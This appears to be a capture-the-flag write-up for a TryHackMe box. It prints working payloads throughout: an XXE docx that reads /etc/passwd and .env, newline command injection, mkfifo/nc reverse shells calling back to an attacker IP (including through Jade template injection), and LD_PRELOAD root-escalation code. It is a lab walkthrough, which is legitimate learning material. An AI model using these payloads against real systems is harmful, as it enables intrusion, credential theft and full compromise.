Back again with another gr8 Writeup for CTF organised by @thexssrat.
It was a Box Styled CTF hosted on Tryhackme.
Enumeration
Starting off with a nmap scan.
Only two ports standard 80 & 22.
Foothold
Hopping on to port 80 greets us with a nice looking site with register
login
upload
.
So after tampering with upload
trying to get smth(shell, lol) , Only docx and txt were allowed. Judging by the description of the task it had some reference to XXE
and XSS
. So I thought of going with XXE with docx file by editing the document.xml
( as it contains the main text data for the document ) inside of docx file. As a docx file is simply a lot of xml
files zipped together
Creating a docx using this snippet.
from docx import Document
doc = Document()
para = doc.add_paragraph('Hello World')
doc.save('test.docx')
Unzipping the doc and editing the document.xml for XXE.
Adding the following doctype.
<!DOCTYPE test [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
and replacing the body element with test
and zipping it again will give us the malicious docx.
Now here it is our passwd file. Now as the nmap scan shows us that it is NodeJs , so it has an important file called .env
that has some juicy info regarding the application.
Now again modifying the docx to view .env
(usr/src/app/.env) [After a lil hit & trial]
Now there we have our Flag 1 with some creds which were not useful
The webapp also used JWT as its auth mechanism, so it was obvious to modify the JWT with the secret to become admin. Changing is_admin to 1 works.
After admin a new button appears to delete a file. Hmmmmmm.
After poking the delete functionality the authors released a hint saying about blind param injection.
and after a while
http://[BOX-IP]/delete?file=test.docx%0A(cd+/usr%0Acd+src%0Acd+app%0Acd+upload%0Ash+rev.txt)
and the rev.txt
file had
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [YOUR-IP] 12345 >/tmp/f
And we were in after a long hassle with command injection.
For this hassle we got our 2nd flag
Rats make tunnels...
Pivot
Now as we were in docker env there wasn’t much to do than to escape it. Then admin released another hint regarding to scan other hosts in the network.
But the box did’nt have any tool to do so, transferred the nmap binary onto the box (by using the webapps upload feature and adding the .txt extension to binary ,it was successfully uploaded) and then executing it on the box gave us the hosts.
It had a host (172.20.0.1)
on which port 3000
was open.
Host is up (-0.18s latency).
PORT STATE SERVICE
3000/tcp open unknown
MAC Address: 02:42:61:29:8C:65 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
I then upgraded my revshell to meterpreter so that I could forward the port 3000 onto my local machine for ease.
Hopping over to 6767
gave this.
Now again after blindly bashing in the payloads , admin again released another hint regarding SSTI. From this point of time it was somewhat clear what to do.
As it was using NodeJs, Jade
was the main thing to look for.
Portswigger has this awesome blogpost for SSTI.
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.20.0.2 9999 >/tmp/f')
and yay!!! we had another reverse shell and another flag too ie. flag 3
Have you accepted cheeses into your life?
Priv-esc
Now for the last flag we had to privesc to root.
Trying several things, this was the main 🙂
Matching Defaults entries for xss on ratbox:
env_reset, env_keep+=LD_PRELOAD
User xss may run the following commands on ratbox:
(root) NOPASSWD: /bin/ls /opt/docker/machines/rat/ratapp/upload/
xss@ratbox:~$
Now it was just a matter of minutes to get root.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
saving this and compiling with
gcc -fPIC -shared -o [shell.so](http://shell.so/) shell.c -nostartfiles
and running the allowed command as
sudo LD_PRELOAD=/tmp/shell.so /bin/ls /opt/docker/machines/rat/ratapp/upload/
ROOT!!!!!!!!!!!
/root/flag.txt
had
KRUGS4ZANFZSA3TPOQQHI2DFEBTGYYLHEBTGS3DFEB4W65JAMFZGKIDMN5XWW2LOM4QGM33SEEFAUSDPO5SXMZLSFQQHS33VEBQXEZJAMNWG643FEAXC4LQKBJEWMIDZN52SAZTJNZSCA5DIMUQGM3DBM4WCA3LBNFWCA2LUEB2G6OQKBJ2GQZLYONZXEYLUFZYHEQDHNVQWS3BOMNXW2CQKKRUGKIDGNFZHG5BAORUHEZLFEBZXKYTNNF2HIZLSOMQHO2LMNQQHO2LOEBQSAVCIJUQHM33VMNUGK4RAMZXXEIDPNZSSA3LPNZ2GQIDPMYQGM4TFMUQGCY3DMVZXGIIKJ5XGKIDBMRSGS5DJN5XGC3BAOZXXKY3IMVZCA53JNRWCAYTFEBTG64RAORUGKIDCMVZXIIDXOJUXIZLVOAXAUCSFNZVG66JAPFXXK4RAMZUW4YLMEBZXI4TFORRWQIIKBJEWMIDZN52SA3DJNNSWIIDUNBSSAYTPPAWCA3DFOQQHK4ZANNXG65ZMEBZWK3TEEBQSA5DXMVSXIIDUN4QEAZTFOJZGK5C7MFWWC6TJNZTSAYLOMQQEA4TFMFWHI4TZNBQWG23NMUFAUVDIMUQFQU2TEBJGC5AKBJBHK2LMOQQGE6J2EBADI3TROIZTI6RAMFXGIICAORUGKYLSOQ2DE===
This is not the flag file you are looking for!
However, you are close ...
If you find the flag, mail it to:
thexssrat.pr@gmail.com
The first three submitters will win a THM voucher for one month of free access!
One additional voucher will be for the best writeup.
Enjoy your final stretch!
If you liked the box, let us know, send a tweet to @ferret_amazing and @realtryhackme
The XSS Rat
Built by: @4nqr34z and @theart42
But this is’nt the flag whattttt!!!.
The actual flag was .flag.txt
I knew you really curd!
Kudos to my team ByteForc3 and the box authors @4ndr34z @theart42 for making this wonderful Box.